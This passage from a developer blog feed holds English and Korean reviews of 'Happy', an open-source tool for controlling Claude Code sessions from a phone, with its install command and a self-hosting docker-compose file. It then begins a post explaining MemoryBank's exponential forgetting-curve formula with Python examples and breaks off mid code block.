      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SEED=your-secure-seed&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;postgres&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;redis&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it's free. This alone beats everything else. When a free open-source tool is better than paid alternatives, the market corrects fast.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Still Missing
&lt;/h2&gt;

&lt;p&gt;Being honest: Happy isn't perfect.&lt;/p&gt;

&lt;p&gt;Cowork Dispatch integrates natively with 38+ apps. Happy is purely CLI terminal remote control. Sending Slack messages or editing Google Docs isn't what Happy does. That's Cowork Dispatch's territory.&lt;/p&gt;

&lt;p&gt;The last official release (v1.4.0) was September 2025. The npm package rename and monorepo consolidation happened after that, but without formal release tags. Development continues on main, which is great for velocity but can be shaky for stability.&lt;/p&gt;

&lt;p&gt;And there are edge cases. GitHub issues mention stdin-related crashes in background mode. The project is active — 1,500+ commits, 44 contributors — but it's community-driven, not backed by a company.&lt;/p&gt;

&lt;h2&gt;
  
  
  So What Should You Actually Use
&lt;/h2&gt;

&lt;p&gt;Here's the decision tree.&lt;/p&gt;

&lt;p&gt;You don't write code and want AI to automate documents, emails, and productivity tools → &lt;strong&gt;Claude Cowork Dispatch&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;You want to maximize context efficiency within a single Claude Code session with parallel background workers → &lt;strong&gt;bassimeledath/dispatch skill&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;You want to control your Claude Code terminal from anywhere with your phone → &lt;strong&gt;Happy&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;These three aren't competing. They're different layers. You could even combine them: use Happy to access Claude Code from your phone, then run /dispatch inside that session to fan out work to background agents.&lt;/p&gt;

&lt;p&gt;The real bottleneck in the AI coding agent era isn't model performance. It's whether you can control an already-running agent when you're not at your desk. Happy solves that with one CLI wrapper.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We didn't need a better model. We needed a better remote."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
      <category>opensource</category>
      <category>sideprojects</category>
    </item>
    <item>
      <title>Claude Code를 폰에 들고 다니게 해주는 오픈소스, Happy</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Wed, 15 Apr 2026 11:02:44 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/claude-codereul-pone-deulgo-danige-haejuneun-opeunsoseu-happy-2i5n</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/claude-codereul-pone-deulgo-danige-haejuneun-opeunsoseu-happy-2i5n</guid>
      <description>&lt;p&gt;코드는 &lt;a href="https://github.com/slopus/happy" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;에, 앱은 &lt;a href="https://happy.engineering" rel="noopener noreferrer"&gt;happy.engineering&lt;/a&gt;에서 볼 수 있다.&lt;br&gt;
더 많은 글은 &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;에서.&lt;/p&gt;



&lt;p&gt;Claude Code로 리팩토링을 돌려놓고 밥 먹으러 나갔다. 20분 뒤 폰을 보니 아무 알림도 없다. 돌아와서 터미널을 열었더니 permission 요청에서 멈춰 있었다. 20분 동안 아무것도 안 하고 기다리고 있었던 거다.&lt;/p&gt;

&lt;p&gt;이 상황, Claude Code 쓰는 사람이면 다 겪어봤을 거다.&lt;/p&gt;

&lt;p&gt;Happy는 이 문제를 정면으로 해결한다. Claude Code를 폰에서 제어할 수 있게 해주는 오픈소스 CLI 래퍼다. GitHub 스타 17,000개 넘고, MIT 라이선스. 근데 처음 봤을 때 드는 의문이 있다.&lt;/p&gt;

&lt;p&gt;"이거 Claude Cowork Dispatch 아니야?"&lt;/p&gt;

&lt;p&gt;결론부터 말하면, 전혀 다른 물건이다.&lt;/p&gt;
&lt;h2&gt;
  
  
  Dispatch는 뭐고 Happy는 뭔데
&lt;/h2&gt;

&lt;p&gt;"Dispatch"라는 이름이 붙은 게 최소 세 가지다. 먼저 정리하고 가자.&lt;/p&gt;

&lt;p&gt;첫 번째는 &lt;strong&gt;Claude Cowork Dispatch&lt;/strong&gt;. Anthropic이 2026년 3월에 공개한 공식 기능이다. 데스크톱에서 QR 코드를 스캔하면 폰에서 AI 에이전트를 제어할 수 있다. 38개 이상의 앱과 연동되고, 파일 검색이나 요약 같은 비코딩 작업에 최적화되어 있다. 코드를 쓰는 게 아니라 문서, 이메일, 생산성 도구를 다루는 사람들을 위한 물건이다.&lt;/p&gt;

&lt;p&gt;두 번째는 &lt;strong&gt;bassimeledath/dispatch&lt;/strong&gt;. Claude Code의 스킬로 동작하는 오픈소스 프로젝트다. &lt;code&gt;/dispatch&lt;/code&gt;를 치면 메인 세션이 오케스트레이터가 되고, 실제 작업은 백그라운드 워커들이 각자 독립된 컨텍스트 윈도우에서 병렬로 실행한다. 컨텍스트 윈도우를 10배 효율적으로 쓰는 게 핵심이다. 모바일 제어와는 관계 없다.&lt;/p&gt;

&lt;p&gt;세 번째가 &lt;strong&gt;Happy&lt;/strong&gt;. Claude Code의 CLI를 래핑해서 모바일/웹에서 터미널 세션 자체를 원격 제어하는 도구다.&lt;/p&gt;

&lt;p&gt;비유하자면 이렇다. Cowork Dispatch는 비서한테 일을 시키는 거다. bassimeledath/dispatch는 팀장이 팀원들한테 업무를 나누는 거다. Happy는 내가 쓰던 터미널을 주머니에 넣고 돌아다니는 거다.&lt;/p&gt;

&lt;p&gt;겹치는 영역이 전혀 없다.&lt;/p&gt;
&lt;h2&gt;
  
  
  그래서 Happy가 뭘 하는 건데
&lt;/h2&gt;

&lt;p&gt;설치부터 보자.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; happy-coder
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이게 끝이다. 이제부터 &lt;code&gt;claude&lt;/code&gt; 대신 &lt;code&gt;happy&lt;/code&gt;를 치면 된다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 기존&lt;/span&gt;
claude

&lt;span class="c"&gt;# Happy&lt;/span&gt;
happy

&lt;span class="c"&gt;# Codex도 된다&lt;/span&gt;
happy codex
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Happy는 Claude Code 프로세스를 감싸는 래퍼다. 로컬에서 Claude Code가 돌아가는 건 똑같다. 다만 그 세션의 입출력을 암호화해서 릴레이 서버로 보내고, 폰 앱에서 받아 보여준다.&lt;/p&gt;

&lt;p&gt;아키텍처가 세 조각이다. CLI 프로그램이 로컬에서 Claude Code를 시작하고 모니터링한다. 릴레이 서버가 암호화된 블롭을 양쪽으로 전달한다. 모바일 앱이 그걸 복호화해서 보여준다. 서버는 E2E 암호화된 데이터를 중계만 하기 때문에 서버 쪽에서는 코드를 읽을 수 없다.&lt;/p&gt;

&lt;p&gt;X25519 키페어로 ECDH 키 교환을 하고, AES-256-GCM으로 메시지를 암호화한다. 세션별 임시 키로 전방 비밀성까지 보장한다. 회사 코드를 다루는 사람 입장에서 이 부분이 중요하다. 내 코드가 어딘가에 평문으로 저장되는 일은 없다.&lt;/p&gt;

&lt;h2&gt;
  
  
  보이스 코딩이 진짜 쓸만한가
&lt;/h2&gt;

&lt;p&gt;처음에 "음성으로 코딩"이라는 말을 듣고 솔직히 회의적이었다. 음성 인식이 아무리 좋아져도, 코드를 말로 짜는 건 비효율적이니까.&lt;/p&gt;

&lt;p&gt;근데 Happy의 보이스 코딩은 그런 게 아니다.&lt;/p&gt;

&lt;p&gt;voice agent가 하는 일은 딱 하나다. 내가 중얼거리는 말을 Claude Code가 이해할 수 있는 구조화된 요청으로 변환한다. 코드를 말로 짜는 게 아니라, "auth 모듈의 리팩토링 방향을 잡아줘"를 걸으면서 말하는 거다.&lt;/p&gt;

&lt;p&gt;공식 문서에서 재밌는 관점을 하나 꺼냈다. 키보드 앞에 앉아서 100% 효율로 일하는 것과, 산책하면서 50% 효율로 일하는 것을 비교하면, 후자의 "3시간 × 50%"가 전자의 "0시간 × 100%"보다 낫다는 거다. 어차피 쉬는 시간에 아무것도 안 하고 있었을 테니.&lt;/p&gt;

&lt;p&gt;프롬프트도 앱 안에서 커스터마이징 가능하다. 포크해서 리빌드할 필요 없다. voice agent의 행동 방식을 직접 조절할 수 있다. 이건 실용적이다.&lt;/p&gt;

&lt;p&gt;나 같은 경우를 생각해보면, UE5 빌드를 돌려놓고 기다리는 시간에 사이드프로젝트의 Claude Code 에이전트를 음성으로 제어할 수 있다. 빌드 대기 시간이 그냥 사라지는 거다.&lt;/p&gt;

&lt;h2&gt;
  
  
  멀티 세션 병렬이 의미 있는 이유
&lt;/h2&gt;

&lt;p&gt;Happy는 여러 Claude Code 인스턴스를 동시에 돌릴 수 있다. 프론트엔드, 백엔드, 인프라 작업을 각각 별도 세션으로 띄우고, 폰에서 세션 간 전환하면서 모니터링한다.&lt;/p&gt;

&lt;p&gt;이게 왜 중요하냐면, Claude Code Max 구독은 토큰 무제한이지만 동시 실행 세션 수에는 제한이 있다. 여러 작업을 한 세션에서 순차적으로 돌리면 컨텍스트가 오염된다. 세션을 분리하면 각 작업이 깨끗한 컨텍스트에서 독립적으로 돌아간다.&lt;/p&gt;

&lt;p&gt;앞서 언급한 bassimeledath/dispatch가 "컨텍스트 윈도우를 효율적으로 쓰는 것"에 집중한다면, Happy의 멀티 세션은 "물리적으로 세션을 분리해서 서로 간섭 없이 돌리는 것"에 집중한다. 방향이 다르다.&lt;/p&gt;

&lt;p&gt;실전에서 보면 이런 식이다. 세션 A에서는 프론트엔드 컴포넌트 리팩토링이 돌아간다. 세션 B에서는 API 엔드포인트 테스트 생성이 돌아간다. 폰에서 두 세션 다 보면서, 권한 요청이 오면 바로 승인한다. 커피 마시면서.&lt;/p&gt;

&lt;h2&gt;
  
  
  기존에 뭐가 있었고 왜 Happy가 이겼나
&lt;/h2&gt;

&lt;p&gt;모바일에서 Claude Code를 쓰려는 시도가 Happy만 있었던 건 아니다. CodeRemote, YoloCode, Omnara, Claudia, Conductor, Tonkotsu 같은 프로젝트들이 있었다. X에서 한 사용자가 "다 써봤는데 Happy가 이겼다"고 올린 글이 있다.&lt;/p&gt;

&lt;p&gt;왜 이겼을까. 추측해보면 세 가지다.&lt;/p&gt;

&lt;p&gt;오픈소스라서 투명하다. 내 코드가 어디로 가는지 직접 확인할 수 있다. 텔레메트리도 트래킹도 없다. 보안이 중요한 회사 코드를 다루는 개발자한테 이건 결정적이다. 클로즈드 소스 앱에 회사 코드를 흘려보내는 건 아무리 편해도 쓰기 어렵다.&lt;/p&gt;

&lt;p&gt;셀프호스팅이 가능하다. Docker Compose 파일 하나로 PostgreSQL + Redis + Happy Server를 3분 만에 띄울 수 있다. 회사 방화벽 안에서 돌리면 릴레이 서버조차 외부에 노출되지 않는다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# docker-compose.yml&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;happy-server&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;happy-server:latest&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3000:3000"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;DATABASE_URL=postgresql://postgres:postgres@postgres:5432/happy-server&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;REDIS_URL=redis://redis:6379&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;SEED=your-secure-seed&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;postgres&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;redis&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;그리고 무료다. 이건 사실 다른 걸 다 이기는 이유다. 같은 기능을 하는 유료 앱이 있는데 무료 오픈소스가 더 잘 만들어져 있으면, 결과는 뻔하다.&lt;/p&gt;

&lt;h2&gt;
  
  
  근데 아직 부족한 것도 있다
&lt;/h2&gt;

&lt;p&gt;솔직히 써야 할 것 같다. Happy가 만능은 아니다.&lt;/p&gt;

&lt;p&gt;Claude Cowork Dispatch가 38개 이상의 앱과 네이티브로 연동되는 것에 비하면, Happy는 순수하게 CLI 터미널의 원격 제어만 한다. Slack에 메시지 보내거나 Google Docs를 편집하는 건 Happy의 영역이 아니다. 그건 Cowork Dispatch의 영역이다.&lt;/p&gt;

&lt;p&gt;릴리즈 노트를 보면 v1.4.0이 마지막 공식 릴리즈고 2025년 9월이다. npm 패키지명이 &lt;code&gt;happy-coder&lt;/code&gt;에서 &lt;code&gt;happy&lt;/code&gt;로 바뀌고 모노레포로 통합된 건 그 이후인데, 정식 릴리즈 태깅 없이 main 브랜치에서 계속 개발이 진행되는 패턴이다. 안정성 측면에서는 좀 불안할 수 있다.&lt;/p&gt;

&lt;p&gt;그리고 Cowork Dispatch의 성공률이 복잡한 작업에서 50% 정도라는 외부 테스트 결과가 있었는데, Happy도 비슷한 엣지 케이스가 있을 수 있다. stdin 관련 이슈로 백그라운드 모드에서 크래시가 나는 경우가 GitHub 이슈에 보고되어 있다.&lt;/p&gt;

&lt;h2&gt;
  
  
  결국 뭘 써야 하나
&lt;/h2&gt;

&lt;p&gt;정리하면 이렇다.&lt;/p&gt;

&lt;p&gt;코드를 안 쓰고 문서/이메일/생산성 도구를 AI로 자동화하고 싶다면 → &lt;strong&gt;Claude Cowork Dispatch&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;하나의 Claude Code 세션에서 컨텍스트를 효율적으로 쓰면서 병렬 작업을 하고 싶다면 → &lt;strong&gt;bassimeledath/dispatch&lt;/strong&gt; 스킬.&lt;/p&gt;

&lt;p&gt;Claude Code 터미널 자체를 어디서든 제어하고 싶다면 → &lt;strong&gt;Happy&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;이 셋은 경쟁 관계가 아니라 레이어가 다르다. 같이 쓸 수도 있다. Happy로 모바일에서 Claude Code 세션에 접속해서, 그 안에서 /dispatch 스킬을 실행하는 것도 가능하다.&lt;/p&gt;

&lt;p&gt;AI 코딩 에이전트 시대에 진짜 병목은 모델 성능이 아니다. 이미 돌아가고 있는 에이전트를 내가 자리에 없을 때도 제어할 수 있느냐, 그게 병목이다. Happy는 그 병목을 CLI 래퍼 하나로 풀었다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"더 좋은 모델이 아니라 더 나은 리모컨이 필요했다."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>To Teach AI How to Remember, First Teach It How to Forget 2/2</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Tue, 14 Apr 2026 08:05:32 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/to-teach-ai-how-to-remember-first-teach-it-how-to-forget-22-1ejf</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/to-teach-ai-how-to-remember-first-teach-it-how-to-forget-22-1ejf</guid>
      <description>&lt;p&gt;Code on &lt;a href="https://github.com/zhongwanjun/MemoryBank-SiliconFriend" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. Paper on &lt;a href="https://arxiv.org/abs/2305.10250" rel="noopener noreferrer"&gt;arXiv&lt;/a&gt;.&lt;br&gt;
More posts at &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;.&lt;/p&gt;



&lt;p&gt;Part 1 covered MemoryBank's architecture and how to use it. This part cracks open the engine. One formula. &lt;code&gt;R = e^(−t/S)&lt;/code&gt;. How it works, what happens when S changes, where to set the threshold — all in numbers.&lt;/p&gt;
&lt;h2&gt;
  
  
  Breaking Down the Formula
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;R = e^(−t/S)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Three variables. R is memory retention (between 0 and 1), t is time elapsed since learning, S is memory strength. e is Euler's number, approximately 2.71828.&lt;/p&gt;

&lt;p&gt;This is an exponential decay model. Same structure as the formula for radioactive decay in physics. Values drop dramatically at first, then taper off gradually.&lt;/p&gt;

&lt;p&gt;If you're a game developer, this pattern is everywhere. Alpha decay on particle effects, sound fade-outs, damage-over-time tick reduction. All exponential decay. The forgetting curve is the same math. Just applied to memories instead of damage.&lt;/p&gt;

&lt;p&gt;Here's the key insight. What really matters in this formula is the &lt;strong&gt;t/S ratio&lt;/strong&gt;. Not the individual values of t and S, but how they relate. When t/S equals 1, R is about 0.368 (36.8%). At t/S = 2, R drops to about 0.135 (13.5%). At t/S = 3, it's roughly 0.050 (5.0%). Each unit increase in the ratio cuts retention by roughly 1/e (about 36.8%).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="c1"&gt;# Retention by t/S ratio
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ratio&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ratio&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t/S = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ratio&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → R = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# t/S = 0.0 → R = 1.0000 (100.0%)
# t/S = 0.5 → R = 0.6065 (60.7%)
# t/S = 1.0 → R = 0.3679 (36.8%)
# t/S = 2.0 → R = 0.1353 (13.5%)
# t/S = 3.0 → R = 0.0498 (5.0%)
# t/S = 5.0 → R = 0.0067 (0.7%)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The implication is clear. A larger S means the t/S ratio stays small for longer, so R stays high. S &lt;strong&gt;flattens the curve&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Happens When S Increases
&lt;/h2&gt;

&lt;p&gt;In MemoryBank, S is an integer. First mention: 1. One recall: 2. Another recall: 3. Simple. Let's see exactly what this simple change does to the curve.&lt;/p&gt;

&lt;p&gt;Using days as the time unit for t. What's the retention of an S=1 memory after one day?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Retention by S value and elapsed days
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;--- S = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t_days&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t_days&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  t=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t_days&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;d → R = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's the picture:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;S=1:  Day 0 100% → Day 1 36.8% → Day 2 13.5% → Day 3 5.0% → Day 7 0.1%
S=2:  Day 0 100% → Day 1 60.7% → Day 2 36.8% → Day 3 22.3% → Day 7 3.0%
S=3:  Day 0 100% → Day 1 71.7% → Day 2 51.3% → Day 3 36.8% → Day 7 9.7%
S=5:  Day 0 100% → Day 1 81.9% → Day 2 67.0% → Day 3 54.9% → Day 7 24.7%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An S=1 memory crashes to 36.8% after one day. After a week, 0.1%. Effectively dead.&lt;/p&gt;

&lt;p&gt;At S=2, 60.7% survives after the same day. At S=5, 81.9% after a day. Even after a full week, 24.7% remains.&lt;/p&gt;

&lt;p&gt;Since S goes up by 1 with each recall, a memory recalled 3 times (S=4) retains 17.4% after a week. Recalled 5 times (S=6) retains 31.1% after a week. The curve visibly flattens.&lt;/p&gt;

&lt;p&gt;In game terms, think "buff duration increase from stacking." Apply the same buff multiple times, duration gets longer each time. More stacks, longer effect. MemoryBank's S works exactly like that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Mathematical Impact of Resetting t
&lt;/h2&gt;

&lt;p&gt;The S increase matters, but &lt;strong&gt;resetting t to 0&lt;/strong&gt; actually creates the more dramatic effect.&lt;/p&gt;

&lt;p&gt;Picture this scenario. A memory sits at S=1, and 3 days have passed. R equals &lt;code&gt;e^(−3/1)&lt;/code&gt; = 0.050, or 5.0%. Nearly gone.&lt;/p&gt;

&lt;p&gt;At this moment, the memory gets recalled in conversation. MemoryBank bumps S to 2 and resets t to 0. Instantly, R becomes &lt;code&gt;e^(−0/2)&lt;/code&gt; = 1.000 — back to 100%.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before recall:  S=1, t=3 days → R = 5.0%  (nearly dead)
After recall:   S=2, t=0 days → R = 100%  (fully revived)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5% to 100%. That jump is everything.&lt;/p&gt;

&lt;p&gt;One more thing. The revived memory is &lt;strong&gt;stronger than before&lt;/strong&gt;. S went from 1 to 2, so the next time 3 days pass, R won't be 5.0% — it'll be 22.3%. In its first life, 3 days was almost fatal. In its second life, 3 days is perfectly survivable.&lt;/p&gt;

&lt;p&gt;Repeat this pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Recall simulation
# Memory recalled every 3 days
